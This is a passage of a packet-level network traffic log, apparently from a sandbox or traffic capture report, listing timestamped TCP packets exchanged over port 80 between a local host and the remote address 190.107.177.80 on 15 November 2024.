Nov 15, 2024 09:10:02.346225977 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.346275091 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.346369028 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.346447945 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.346770048 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.346805096 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.346956968 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.347074032 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.426743984 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.426760912 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.426786900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.426800013 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.426839113 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.426855087 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.467705965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.467765093 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468236923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468296051 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468333006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468379021 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.468379021 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.468432903 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468471050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468561888 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468592882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468600988 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.468600988 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.468725920 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468782902 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468820095 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468856096 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.468910933 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.468910933 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.550034046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.550045013 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.550134897 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.591001987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.591016054 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.591027021 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.591085911 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.591536999 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.591578007 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.591589928 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.591656923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.591677904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.591692924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.591701031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.591732979 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.592047930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.592101097 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.592112064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.592130899 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.592154980 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.592169046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.592180014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.592238903 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.592257023 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.642154932 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.673348904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.673407078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.673460960 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.714272022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.714354038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.714615107 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.715303898 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.715415001 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.715452909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.715502024 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.715563059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.715615988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.715667009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.715697050 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.715738058 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.715744019 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.715801954 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.716231108 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.716728926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.716782093 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.716816902 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.716881990 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.717195988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.717230082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.717259884 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.717263937 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.717341900 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.796747923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.796781063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.796919107 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.837515116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.837563992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.837852955 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.838614941 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.838660002 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.838694096 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.838712931 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.838725090 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.838814974 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.838823080 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.838877916 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.838980913 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.839042902 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.839091063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.839127064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.839164019 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.839364052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.839421988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.839423895 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.839457989 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.839510918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.839545012 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.839577913 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.839581013 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.839622021 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.840287924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.840320110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.840374947 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.919985056 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.920041084 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.920300007 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.961007118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.961046934 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.961183071 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.962425947 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.962482929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.962522030 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.962558031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.962568045 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.962593079 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.962630033 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.962673903 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.962706089 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.962762117 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.962815046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.962845087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.962883949 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.963083982 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.963143110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.963148117 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.963177919 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.963222980 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.963233948 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.963630915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.963661909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.963701963 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.004257917 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.043167114 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.043205976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.043292999 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.085264921 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.085302114 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.085338116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.085372925 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.085391998 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.085462093 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.085491896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.085544109 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.085544109 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.085629940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.085685015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.085721016 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.085757017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.085773945 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.086031914 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.086194992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.086231947 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.086266994 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.086282969 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.086478949 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.086533070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.086551905 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.086569071 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.086606979 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.086642027 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.086698055 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.086698055 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.126817942 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.126851082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.126960039 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.208698034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.208808899 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.208844900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.208874941 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.208879948 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.208914995 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.208961964 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.208966970 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.209002972 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.209037066 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.209064007 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.209136963 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.209534883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.209589958 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.209641933 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.209657907 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.209677935 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.209717035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.209724903 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.210033894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.210082054 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.210088015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.210124016 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.210520029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.210529089 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.210556030 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.210824966 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.290661097 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.290721893 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.291115046 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.332200050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332268000 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332304955 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332340002 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332375050 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.332376003 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332398891 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.332412958 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332484961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332515001 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.332554102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332590103 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332600117 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.332741976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332844019 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332879066 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332882881 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.332916975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.332921028 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.333224058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.333291054 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.333338022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.333391905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.333426952 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.333465099 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.333640099 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.333693027 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.333694935 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.333730936 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.333794117 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.455058098 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455133915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455173969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455259085 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.455418110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455455065 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455461979 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.455492020 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455538034 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.455562115 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455616951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455656052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455704927 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.455845118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455881119 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.455909014 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.455916882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456043005 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.456114054 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456170082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456206083 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456234932 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.456243992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456279039 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456326008 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.456681967 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456737041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456743956 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.456774950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456828117 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.456875086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456943989 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.456975937 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.457001925 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.504234076 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.578162909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.578222990 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.578258038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.578757048 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.578793049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.578805923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.578805923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.578826904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.578886986 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.578915119 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.578948975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.578983068 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.579130888 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.579176903 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.579231977 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.579241991 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.579265118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.579328060 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.579468966 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.579504967 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.579543114 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.579576969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.579586983 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.579613924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.579654932 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.580044985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.580080032 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.580101967 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.580115080 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.580189943 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.580288887 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.580323935 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.580358982 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.580394983 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.580406904 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.580456972 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.701698065 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.701761007 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.701798916 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.701803923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.702182055 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702236891 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702266932 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702280998 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.702321053 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702332020 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.702356100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702389956 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702400923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.702581882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702613115 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702646017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702651978 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.702698946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702733040 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702766895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.702814102 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.702814102 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.703002930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.703058004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.703062057 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.703093052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.703136921 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.703265905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.703284979 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:03.703332901 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:03.703537941 CET	80	49705	190.107.177.80	192.168.2.10
